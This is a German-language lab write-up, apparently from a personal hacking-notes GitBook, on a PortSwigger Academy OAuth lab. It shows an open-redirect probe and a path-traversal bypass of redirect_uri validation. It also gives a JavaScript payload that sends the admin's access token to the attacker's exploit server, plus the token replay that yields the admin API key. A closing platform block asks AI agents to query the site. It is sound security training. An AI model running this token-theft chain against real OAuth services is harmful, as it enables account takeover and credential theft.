> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# OAuth-Token-Diebstahl über Open Redirect

Notizen zum OAuth-Token-Diebstahl über Open Redirect für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### OAuth-Zugriffstoken über eine Open Redirect stehlen

**Lernziel**

Dieses Lab verwendet eine fehlerhafte Validierung des `redirect_uri` Parameters durch den OAuth-Dienst. / Das Ziel ist, eine offene Umleitung auf der Client-Anwendung zu verwenden, um **das OAuth-Zugriffstoken des Admin-Benutzers abzugreifen** und es dann zu verwenden, um seinen API-Schlüssel wiederherzustellen.

> Es ist nicht möglich, den API-Schlüssel des Admins einfach zu erhalten, indem man sich über die Client-Anwendung mit seinem Konto verbindet.

**Erkennung offener Weiterleitungen**

Eine offene Weiterleitung ist in der Browse-Funktion zwischen Blogartikeln vorhanden:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce81357aad0c5fc84b66e52fc0dadf0df71c6aed%2F%7B5BB9BE58-1BCC-47FA-93A0-9BFBBE1554A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Ersetzen des `path` Parameters durch eine externe URL wird die Weiterleitung akzeptiert:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

Der Browser wird weitergeleitet, was die Schwachstelle bestätigt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be750dee1956b03b4e5c0d60dca8e3d51759d1a%2F%7B611943DD-31E0-4375-8D76-2F634B3464B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des OAuth-Flows**

Bei der Authentifizierung über OAuth wird die folgende Anfrage beobachtet:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f986994a32361ba99a0657f0f7d152f40e14c559%2F%7BA1D7CE19-9A64-4B16-BDB5-B050EF9DAABF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der OAuth-Dienst weist eine vollständig externe `redirect_uri`URL zurück, akzeptiert aber eine interne URL, die mit Pfad-Traversal verändert wurde.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78a3a8bb61a8e47d5cc24678e9f401626dcc21e2%2F%7B1709D5A9-8811-4102-9C60-2EEBB73EEA2B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Validierungs-Umgehung**

Verwendung von `../` um aus dem `/OAuth-callback` Pfad herauszukommen, ist es möglich, die offene Weiterleitung zu verketten:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93123c49476e7ef233d21b8b585704bc29e7102f%2F%7BA97377DB-AF25-4EE9-BF43-F73F0743DFC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Diese URL wird akzeptiert als `redirect_uri` vom OAuth-Anbieter.

**Bösartige OAuth-URL-Erstellung**

Die finale URL, die an das Opfer gesendet wird, lautet:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Fragmentproblem (`#`)**

Das URL-Fragment ist **niemals an den Server gesendet** bei einer HTTP-Anfrage.<br>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e40633e80cbce7be2b8b127fce282d88acff9b7%2F%7BB7692BF9-D9CC-4F02-8CA6-C3FC24537514%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

JavaScript auf der Clientseite ist erforderlich, um das Token abzufangen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6c2a4fb80b94a986aa2321ce0742c40a9ae7cfb%2F%7B3DC13C12-FCE9-4AA0-9AB6-043EC4D8F0AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Token-Erfassung mit JavaScript**

Das folgende Skript wird auf dem Exploit-Server gehostet und an den Admin gesendet:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86e60cd754ab9f6af50efde036b30ac651ce01ee%2F%7B26FECF5A-61EB-41B4-B249-EDD1FA92A71D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Wenn kein Fragment vorhanden ist, wird das Opfer zu OAuth weitergeleitet.
* Wenn das Fragment existiert, wird das Token über die Query-String an den Server übertragen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95ce114dd887567202d8f9937b9bc092afcaafc6%2F%7B43ED8A36-E2E5-46F7-A7D2-C7B835386522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**OAuth-Token-Ausnutzung**

Das gestohlene Token erlaubt es Ihnen, den `/me` -Endpunkt des OAuth-Anbieters abzufragen:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8764fae02838301aa330c5bbbd65e45d6ae3e4c%2F%7BF972478F-7A0A-478D-9428-B4B66E4BFFDA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die Antwort enthält die Informationen des Administrator-Kontos, einschließlich des API-Schlüssels:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a496d9222856f3f25972a4c8ff09c9225c15103%2F%7B2F03A321-24AF-4BD8-A322-EA3FEBB70F94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
